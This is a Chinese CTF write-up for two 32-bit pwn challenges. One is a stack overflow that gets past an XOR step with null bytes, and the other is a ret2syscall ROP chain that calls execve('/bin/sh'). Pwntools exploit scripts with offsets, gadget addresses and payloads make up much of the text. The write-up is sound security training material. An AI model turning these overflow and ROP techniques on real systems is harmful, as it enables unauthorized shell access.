PWN…

0x01 Magic

Core Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void do_magic(char *buf,int n)
{
int i;
srand(time(NULL));
for (i = 0; i < n; i++)
buf[i] ^= rand()%256;
}

void magic()
{
char magic_str[60];
scanf("%s", magic_str);
do_magic(magic_str, strlen(magic_str));
printf("%s", magic_str);
}

运行结果:

使用checksec检查

其中开启了DEP保护。接着使用objdump -d查看函数。发现其中有个never_use调用了system(关于这个plt在之后还会出现再解释)。

利用方式就是通过溢出到该地址从而获得shell。
不过有个难点就是如何去绕过do_magic,输入进入该函数之后会被改变,这样就无法返回到想要的地址。

scanf和strlen的特性

scanf 读到’’和’\n’就停止读取并返回结果
strlen 读到’\0’就返回长度

利用这两个特性可以绕过do_magic,即传一定长度的\00就能保证检测长度为0,但是字符串长度大于0。

接着寻找溢出的字符串长度。这里可以使用gdb或者ida进行查看。
IDA:

长度就是0x44+4,最后的4是ebp保留的空间大小,所以长度就是72。

gdb(这里输入的是\x00 * 100):

0xffffd184开始就是字符串的首地址了,到ebp的距离是16*3+12+8=68,最后加上4,就是72了。

payload:

1
'\00' * 72 + addr(never_use)

exp(这里注意由于never_user的首地址中有\x0d,会导致scanf停止,因而选择函数中的地址):

1
2
3
4
5
6
7
8
9
10
11
12
13
p = process('./magic')

sys_addr = p32(0x804860e)

payload = 'idlefire'

p.sendline(payload)

payload2 = '\x00' * 72 + sys_addr

p.sendafter(' MAGIC:',payload2)

p.interactive()

注:关于哪些函数可以溢出,可以参照CTF-pwn-tips


0x02 ROP-ret2syscall

checksec情况

使用IDA查看源码:

这个地方要注意不能直接把0x64+4作为溢出长度。可以看到汇编代码区。

可以看到是使用esp作为基础计算的字符串。那么就可以使用字符填充溢出或者gdb进行调试计算。

字符填充:
可以使用gdb命令pattern_create或者使用脚本创建字符串。这里使用第二种。

这样就能得到溢出长度是112个字符了。

gdb调试:

1
2
3
addr_esp = 0xffffd170
addr_s = addr_esp + 0x1c = 0xffffd18c
len = addr_ebp - addr_s + 4 = 0xffffd1f8 - 0xffffd18c + 4= 0x6c + 4 = 112

也能得到112。

由于程序开启了NX,因而不能写入代码执行。这里利用系统调用获得shell,而系统系统调用所需要的参数利用gadgets赋值。

关于系统调用

指的是在用户空间向操作系统内核请求更高权限的运行的服务。
应用程序调用的过程大致如下:

  1. 系统调用编号存入EAX;
  2. 把函数参数存入其它的通用寄存器(关于传参的顺序可以看下面详情);
  3. 触发0x80号中断(int 0x80)

关于System Calls详情点这里

这里我们利用如下函数获取shell。

1
execve('/bin/sh',NULL,NULL)

接着就是传参的顺序:

  1. 系统调用号,eax = 0xb
  2. 第一个参数,ebx = /bin/sh地址
  3. 第二个参数,ecx = 0x00
  4. 第三个参数,edx = 0x00

紧接着寻找gadgets。利用ROPgadgt。

1
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'

找到eax的gadgets,地址为0x080bb196

1
ROPgadget --binary ret2syscall --only 'pop|ret' | grep -E 'ebx|ecx|edx'

找到ebx、ecx、edx的gadgets,地址为0x0806eb90

紧接着寻找/bin/sh地址。

1
ROPgadget --binary ret2syscall --string '/bin/sh'

最后寻找int 0x80地址。

1
ROPgadget --binary ret2syscall --only 'int'

payload:

1
'a' * 112 + pop_eax + p32(0xb) + pop_ebb_ecx_edx + p32(addr_binsh) + p32(0) + p32(0) + p32(addr_int80)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
pop_eax = p32(0x080bb196)
pop_edx_ecx_ebx = p32(0x0806eb90)
binsh_addr = p32(0x080be408)
int_addr = p32(0x08049421)

payload = 'a' * 112
payload += pop_eax + p32(0xb) +pop_edx_ecx_ebx + p32(0) +p32(0) + binsh_addr + int_addr


p = process('./ret2syscall')
p.send(payload)
p.interactive()